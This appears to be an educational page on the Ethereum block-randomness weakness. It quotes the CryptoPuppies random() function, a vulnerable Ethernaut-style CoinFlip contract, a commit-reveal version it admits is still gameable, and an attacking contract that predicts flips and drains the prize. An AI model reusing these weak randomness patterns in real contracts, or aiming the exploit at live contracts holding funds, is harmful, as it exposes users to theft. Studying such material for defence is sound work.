• YouTube Channel
  • System Status
  • VS Code Extension
  • Block Randomness

    Overview

    What is the Block Randomness vulnerability?

    In many programming contexts, a developer will have access to a source of randomness or a pseudorandom number generator library for functionality in their code that requires random numbers. In Ethereum, various functionality specific to the Ethereum Virtual Machine (EVM) which is exposed in the Solidity language may seem to offer a source of pseudorandomness; however, in practice many such properties may be manipulated by validators and should not be used to try to generate random numbers.

    A real-world example: CryptoPuppies

    In 2018, the CryptoPuppies decentralized application (a collectible pet game similar to the popular CryptoKitties application that launched on Ethereum the year prior) was deployed with a vulnerability that allowed validators to exploit the nature of random number generation used to determine attributes of the CryptoPuppy NFTs created by the app. The application uses the following function to generate pseudorandom numbers:

      function random(uint256 seed) public view returns (uint8 randomNumber) {
        uint8 rnd = uint8(keccak256(
          seed,
          block.blockhash(block.number - 1),
          block.coinbase,
          block.difficulty
        )) % 100 + uint8(1);
        return rnd % 100 + 1;
      }
    
    

    This random() function was used in the CryptoPuppies application to determine the attributes of the CryptoPuppies NFTs created by the app. The attributes of the CryptoPuppies NFTs were determined by the following logic:

      // Make the new puppy!
      address owner = PuppyIndexToOwner[_matronId];
      // Add randomizer for attributes
      uint16 strength = uint16(random(_matronId));
      uint16 agility = uint16(random(strength));
      uint16 intelligence = uint16(random(agility));
      uint16 speed = uint16(random(intelligence));
    
      uint256 puppyId = _createPuppy(_matronId, matron.siringWithId, parentGen + 1, childGenes, owner, strength, agility, intelligence, speed);
    
    

    (Code examples are drawn from Etherscan; see line 1147 of the contract for the definition of the random() function, and line 1122 for the start of the logic to create a new CryptoPuppy with randomized attributes.)

    The vulnerability with the pseudorandom number generation in this case is that from the perspective of a validator creating a block, all properites of the block (e.g. blockhash, difficulty, coinbase, and so forth) are known before block propagation time. To the extent that certain CryptoPuppy attributes are considered more "valuable" (on an NFT marketplace, for example), a validator could attempt to build a block with a CryptoPuppy creation transaction that would lead to generation of favorable attributes (since the random() function is deterministic on the basis of its inputs). If the transaction would create a valuable CryptoPuppy with "rare" attributes, the validator could capture this for themselves, and discard any transaction deemed not valuable, gaming the intent of the system and extracting value at the expense of other CryptoPuppies users.

    Further reading: Bad Randomness Is Even Dicier than You Think

    Technical example of vulnerable code

      // SPDX-License-Identifier: MIT
      pragma solidity ^0.8.9;
    
      contract CoinFlip {
          uint256 public consecutiveWins;
          uint256 private constant FACTOR =
              57896044618658097711785492504343953926634992332820282019728792003956564819968;
    
          constructor() {
              consecutiveWins = 0;
          }
    
          function flip(bool _guess) public returns (bool) {
              uint256 blockValue = uint256(blockhash(block.number - 1));
              uint256 coinFlip = blockValue / FACTOR;
              bool side = coinFlip == 1 ? true : false;
              if (side == _guess) {
                  consecutiveWins++;
                  return true;
              } else {
                  consecutiveWins = 0;
                  return false;
              }
          }
    
          function claim() public returns (bool) {
              if(consecutiveWins > 100) {
                  payable(msg.sender).transfer(address(this).balance);
                  return true;
              }
              return false;
          }
      }
    
    

    In the above example, based on the OpenZeppelin Ethernaut challenge called CoinFlip, the contract implements a simple game wherein a player can attempt to guess the outcome of a virtual coin flip, and if they successfully do so more than 100 times in a row, they can claim the ether balance of the contract as a prize. If the coin flip outcome were truly random, the probability of being able to correctly guess 100 times in a row would of course so low as to be virtually impossible. However, due to the weak randomness for generating the coin flip outcome, any party able to observe the current block height and the source code of the contract (which is public, at least in bytecode form) would be able to compute the next coin flip outcome with 100% accuracy, and thus be able to claim the prize (assuming they could always get their transaction into the block for which they calculated the outcome).

    Technical example: attempting a better solution

      // SPDX-License-Identifier: MIT
      pragma solidity ^0.8.9;
    
      contract CoinFlip {
          uint256 public consecutiveWins;
          mapping(address => bytes32) public commitments;
          mapping(address => uint256) public lastBlock;
          uint256 private constant REQUIRED_STREAK = 100;
    
          constructor() {
              consecutiveWins = 0;
          }
    
          function commit(bytes32 _hash) public {
              commitments[msg.sender] = _hash;
              lastBlock[msg.sender] = block.number;
          }
    
          function reveal(bool _guess, bytes32 _secret) public returns (bool) {
              require(block.number > lastBlock[msg.sender], "Wait for at least one block");
              require(commitments[msg.sender] == keccak256(abi.encodePacked(_guess, _secret)), "Invalid reveal");
    
              bool side = block.number % 2 == 1;
    
              if (side == _guess) {
                  consecutiveWins++;
                  commitments[msg.sender] = bytes32(0);
                  return true;
              } else {
                  consecutiveWins = 0;
                  commitments[msg.sender] = bytes32(0);
                  return false;
              }
          }
    
          function claim() public {
              require(consecutiveWins > REQUIRED_STREAK, "Not enough wins");
              payable(msg.sender).transfer(address(this).balance);
          }
      }
    
    

    In the improved code example, the contract now requires users to pre-commit a guess, and reveal their guess in a later block. If the guess matches a simple pseudorandom value in the block in which it was processed, their guess is considered correct. This is not vulnerable to the same deterministic form of precomputation as the previous example, especially in a scenario where users cannot guarantee the inclusion of their transaction in any particular block; however, it is still vulnerable to exploitation by validators who can wait until a pre-committed guess would become valid in a block that they mine themselves, and not submit any reveal() transactions for blocks that they did not mine themselves.

    As a general matter, validators can always elect to censor transactions (including their own, if unfavorable) from blocks that they mine, and thus any scheme that attempts to use randomness to determine the outcome of a transaction is potentially vulnerable to gaming by validators, as transactions are computed before blocks are mined. It is recommended to avoid the use of pseudorandom numbers in smart contract applications wherever possible, particularly for critical application functionality.

    Technical example of how to exploit the vulnerability

      // SPDX-License-Identifier: MIT
      pragma solidity ^0.8.9;
      import "./CoinFlip.sol";
    
      contract AttackingCoinFlip {
          address public contractAddress;
    
          constructor(address _contractAddress) {
              contractAddress = _contractAddress;
          }
    
          function hackContract() external {
              uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
              uint256 blockValue = uint256(blockhash(block.number - 1));
              uint256 coinFlip = blockValue / FACTOR;
              bool side = coinFlip == 1 ? true : false;
              CoinFlip coinFlipContract = CoinFlip(contractAddress);
    
              coinFlipContract.flip(side);
          }
    
          function claimWinnings() external {
              CoinFlip coinFlipContract = CoinFlip(contractAddress);
              coinFlipContract.claim();
          }
      }
    
    

    In this contract designed to exploit the original vulnerable example above, the attacker can compute the same outcome of the coin flip that the vulnerable contract will compute when the flip() function is run, and then call that function with the correct guess, increasing the user's winning streak. Once the attacking contract has incremented its wins to 101, it can then call the claimWinnings() function to claim the ether from the vulnerable contract.